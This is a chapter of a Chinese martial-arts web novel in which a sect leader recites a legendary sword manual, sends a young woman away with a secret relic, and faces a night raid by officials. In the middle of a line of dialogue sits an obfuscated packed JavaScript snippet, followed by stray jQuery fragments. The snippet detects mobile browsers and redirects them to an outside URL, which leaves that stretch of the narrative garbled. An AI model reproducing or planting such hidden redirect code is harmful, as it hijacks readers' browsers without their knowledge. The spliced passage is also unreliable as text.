29.远走高飞(1)

作品:《天下第一女剑宗

    丁云舒的话犹如一根根针,扎在伍明达的头顶,令她头皮发麻。


    伍明达来不及反应自己是怎么答应的丁云舒,又是怎么接过核桃,把它揣在身上,且今夜就要携它出逃。


    那日余恨空在山顶对她说的,通通在此时得到了印证。


    她走神了少刻,才机械地道:“丁堂主,到底发生了何事?”


    丁云舒察觉到她的心事,便坦率道:“听我给你细细讲来。仇笑泯,汉中平元年生人,四十岁那年开创《龙泉十三式》,为《龙泉十三式》开山始祖。《龙泉十三式》的前五式不过是些基础功法,中五式是行军打仗要领,现今仍流传于世,但后三式却因一些缘故亡佚。”


    她一字不落地念出内容:“《龙泉十三式》,万宗始祖,同根同源。励精图治,黎民尊崇。时乖运蹇,浮萍飘落。


    第一式,捕风捉影。


    此式讲求来无影,去无踪,静止如平水,行动如脱兔,不给人留可乘之隙。每日各腿负重十斤,沿水缸边缘疾走一个时辰,重负增缸水减,积跬步至千里,卸后身轻如燕。切记循序渐进,重量与日俱增,不得贸然加重。


    第二式,引而不发。


    若多人与我展开合围之势,应审时度势,待时局有利于我时,牵一发而动全身,逐一击破。此事应先气沉丹田,静心凝神,敌不动我不动,然留意四方草动风吹。忍,非打碎牙咽下肚,而是蓄势待发,以静制动。春听风,夏听蝉,秋听风,冬听雪,以心养性,烦乱时默诵心经,方能处变不惊。


    第三式,猿猴捞月。


    脚朝天,头朝地,倒挂金钩,每日只待一盏茶。下树后,先期辅以枝条、木头等钝物,后辅以镖、梭等锐器,双脚聚力弹地起,单掌或双掌撑地,以耳听、以目视、以体感之,用脚击物,以物折返原处为佳。


    第四式,蚍蜉撼树。


    敌强我数倍,更益壮大声势。忌怯,如若露怯,则彼盈我竭。人非木石,必有要害。其头、眼、鼻、胸、中腹、后项皆为薄弱之处,狠击痛处,足以弱胜强。


    第五式,仙人摘桃。


    要近身轻易制胜,可绕至身后紧箍其腰,一手自其两股间伸出,反抓撩其阴。手掌需快、恨。或竖踢其裆部,力大可使阴丸爆裂,令其剧痛难忍而亡。


    第六式,移花接木。


    人不厌虞。兵不厌诈。以假乱真,虚虚实实致敌心纷乱。此举浮明修栈道,实则暗度陈仓。


    第七式,舍义取生。


    世风日下,人心不古。义也,忠也,睦也,孝也,不及命也。时楚汉彭城大战,项羽回袭,刘邦败走,羽紧随其后。邦为逃命,三番踹儿女于车下。盖命前无大义,父不慈子不孝,则舍义取生。


    第八式,借风使船。


    单枪匹马胜算不大时,需借力打力,则不费一兵一卒,坐收渔利。


    第九式,请君入瓮。


    此式意为欲擒之,先纵之,诱敌深入,再一举歼灭。


    第十式,背水一战。


    无可奈何之计。唯处进退维谷之时,益激发剩勇,置死地而后生。”


    丁云舒说道: “可惜江湖风云际会,你太弱,就要受欺负,你太强,又易招致仇恨,成为众矢之的。魏太和三年,仇笑泯在修炼成后三式后,功力大为长进,跃居浩然内功榜榜首,却被各门派合剿于燕然山。”


    “仇笑泯出于保命,打退了无数上前围攻的人。不知怎的,她突然间走火入魔,见人就杀,下手毫不留情,一夜之间,燕然山上尸横遍野,惨不忍睹。待她清醒过来后,立即下山逃遁。”


    “在逃至谯县时,仇笑泯被魏武侯曹操的前夫人丁氏所收留,丁夫人念及她武功卓绝,是不可多得之才,不忍让她因此丧命。后来门派搜寻到她的踪迹,找上门来,丁夫人奔走呼号,只为保下她一条性命。


    “最终,仇笑泯的性命是留住了,但作为代价,她需得当众焚毁后三式手稿,自废经脉,并立誓不再练后三式。”


    “目前明文记载的,只有前十式,也就是我方才说给你的那十式。后三式传说是已被焚毁,但据丁夫人晚年所述,仇笑泯早将后三式散落各方,知其下落者皆秘而不发,积年累月,后三式几乎销声匿迹。”


    伍明达大胆推测:“丁堂主,你与丁夫人都姓丁,莫非当年留下的残卷之一在丁夫人手里?然后一代代地传了下来,直至你手上?”


    丁云舒唇角微微扬起,眼底却不露一丝波澜,“你猜得不错。事实是仇笑泯自行接好了经脉,连夜逃遁,其后隐姓埋名,在武林消失得无影无踪。”


    伍明达隐隐察觉到一丝异样,她发问:“丁堂主,如果这个《龙泉十三式》的后三式被别人发现的话,后果很严重么?”


    丁云舒低眉沉吟:“龙泉后三式一出,武林必然大乱。我早就料到有人在打它的主意,所以提前与罗如珺合谋,让她先带赝品出逃,吸引一部分注意。今天吴沉木的话,不论真假,我都应当有所重视。不管这场乱来或不来,早来或迟来,早做打算,至少可以稍作应付。”


    “所以,明达,只拜托你把它平安送到云南,剩下的事,再与你没有任何干系。”丁云舒躬身颔首。


    伍明达急忙拉住她,“丁堂主,你了解我的心思,我本无心江湖争斗,也不想掺合任何纠纷。可是眼下波云诡谲,谁又能独善其身?虽凭我一己之力,无法挽狂澜于既倒,但我不能坐视不管。此番来夔州,我不过是抱着侥幸的目的来求道,若求道不成,草草游玩一趟,便打道回府。可是计划谈不上变化,即使中间经历了许多变数,但幸得结交良师益友,我已然无憾。丁堂主,你的重情重义,我都看在眼里,凡是你丁堂主的嘱托,我伍明达必将办到。”


    “多谢。”丁云舒无以言表,只能重复道了几次谢。


    伍明达道:“不过是顺手之事,丁堂主不必再言谢。你要是非得感谢我的话,下次我故地重游,你再请我去碧霄楼,所有好酒好肉都上上来,我要吃饮个畅快。”


    丁云舒展眉笑道:“一定一定,定让你敞开了吃。”


    夜幕降临。天色泛着浓郁的黑。


    月亮周围弥漫着雾气,恍若有人抓了把青灰染料在天际慢慢晕开。


    丁云舒叫人收拾好足量的干粮和银钱,伍明达接过包袱,牵着马,向秀姈、程烈星以及天水碧众人道别。


    伍明达与秀姈、程烈星相拥在一起,三人于七清洞结识,下山后共同经历生死关头,彼此心意相通,早成为莫逆之交。


    丁云舒安排道:“此地不宜久留,烈星,明达走后,你随秀姈去湘西避避风头。”


    秀姈拍拍胸脯,向丁云舒保证:“堂主,你放心,一切都包在我身上。”


    丁云舒看向程烈星,略带歉意道:“烈星,难为你了,刚下山就要被迫东奔西走,我还没找到尽地主之宜的机会,就又得推你走。此去后,你千万不要放在心上,等风波过去,你和明达再来夔州,我们好好聚一聚。”


    程烈星神情坚定,“丁堂主这话可见外了,烈星从鬼门关回来,早将生死度外。天水碧于我之大恩大德,烈星没齿难忘。曲终人散,天下无不散的筵席,但是人生长远,我们一定还会再见。”


    程烈星向来恳挚,丁云舒听她所言,不由得生出几分敬意。


    丁云舒道:“阿琰,天水碧南院有一道小门


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15484168|165528||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,你带着她们从那里出去。”


    魏琰上前引路,“三位,同我来。”


    “丁堂主,你与天水碧的姐妹们,都要保重。”三人向天水碧众人依依惜别。


    丁云舒目送她们远去,“你们也保重。”


    待魏琰送她们回来,不出一刻,外面即有人狂拍门,“奉命执行公务,搜查嫌犯相关罪证,闲杂人等速速回避!”


    丁云舒朝魏琰淡淡一笑,“阿琰,该来的,总会来的。”


    魏琰紧握住剑,“来就来,咱们手里有刀枪,无非就是陪他玩命,不怕他。”


    门僮打开门,外头以邹提辖为首,身后站着黑压压的捕快和衙役,高举火把,严阵以待。


    火光中,邹提辖踏步上前,亮出盖有印信的公凭【1】,“本官奉命搜查此宅,如有冒犯之处,还望诸位海涵。趁早交出,尚可从轻发落,但若有隐匿不报者,定严惩不贷。”


    丁云舒扬手示意帮众收起兵器,“让她们搜,天水碧在夔州一向光明磊落,身正不怕影子斜。”


    邹提辖头扭过去,斜垂着眼,提剑向她一揖,“丁堂主行得正立得稳,本官佩服。”


    随后撩袍而入。


    “你!”魏琰欲上去与他理论,却被定云舒拦住。


    魏琰盯着他的背影,狠狠啐了一口,悄声道:“本以为送给白英珠五百两银子,张员外就会收手,想不到这些吃人不吐骨头的杂碎,还是不让我们好过。”


    丁云舒道:“给白英珠银票,不过是一道缓兵之计,以为明达她们多争取些时间。只是我没想到,张员外会这么快出手,此次算我失策,眼下我们多拖一会儿,也能为明达她们成功出城多争取些时间。”


    邹提辖大喊一声:“给我认真搜,犄角旮旯的都不要放过,一定要找到那三个贼人,带回去问罪。”


    衙役和捕快好像得了令箭,在天水碧一顿翻箱倒柜,搜出的金银财宝,都争先恐后往自己口袋里塞。


    魏琰低声骂道:“这些全是我们自个儿的家当,不能便宜了这帮狗腿子。”


    正当她要前去阻拦时,一群军士涌入天水碧。


    军士左右列队,中间空出一条过道,钟靖汝走上前来。


    邹提辖下令捕快和衙役停手,他一人则小跑着来到钟靖汝跟前,“钟大人,是什么风把您给吹来了?”


    钟靖汝直视前方,“朝廷新颁布了诏令,让地方广而告之。”


    邹提辖一脸茫然,“什么诏令?请钟大人明确相告。”


    钟靖汝不紧不慢道:“明日午时,衙门公堂,邹提辖自会知晓。”


    她让邹提辖附耳过来,压低声道:“邹提辖,我需得提醒你一句,这张诏令,于你今夜所行之事不利。你我碗里的粮食,是谁给的?邹提辖心里面自然清楚,我们做官的,到底是给谁办事?邹提辖得拎清了。切莫贪一时便宜,而把你自个儿,乃至你妻儿老小的后路都给栽了进去。现在悬崖勒马还来得及,不要因私废公。”


    邹提辖一点即透,挥手下令:“弟兄们,都撤出去。”


    他瞧了一眼钟靖汝的脸色,钟靖汝神色肃穆,一声不吭,即道:“不该归你们的,都还给人家。”


    刚到手的财物还没捂热乎,捕快衙役虽不情愿,但只能又掏出来,归还给丁云舒。


    钟靖汝对丁云舒道:“丁堂主,你清点清点,是这些么?”


    丁云舒草草扫了一眼,回答:“没有错数,刚刚好。”


    钟靖汝点点头,“那就好,今夜让诸位受惊了。天水碧的姐妹弟兄都安下心,邹提辖已将人撤走,大家回去睡个好觉。”


    随后一大群人撤出天水碧。